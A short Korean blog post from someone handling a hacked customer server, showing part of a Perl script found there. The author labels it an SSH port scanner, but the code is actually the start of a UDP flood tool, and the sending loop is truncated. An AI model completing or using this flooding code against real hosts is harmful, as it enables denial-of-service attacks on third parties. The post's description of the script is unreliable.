Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.

ssh port scan 소스 중 일부이다. 해킹당한 고객사 서버 점검 중 발견..(하여간 보안에 제발 좀 신경써라… 귀찮아 죽겠다-_-;)

스크립트를 다 올리기엔 좀 그렇고-_-; 뭐 이런 정도는 인터넷 뒤지면 금방나온다.

혹시나 엄한 권한의 텍스트 파일이 발견되면 바로바로 조치합시다.

#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
        printf "$0 <ip> <port> <time>\n";
        printf "if arg1/2 =0, randports/continous packets.\n";
        exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "cof flood ... \n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
        goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
        system("(sleep $time;killall -9 udp) &");
        goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
        goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
        system("(sleep $time;killall -9 udp) &");
        goto randpackets;
}
packets:
~          

참고 : http://blog.naver.com/yunki798?Redirect=Log&logNo=40015444064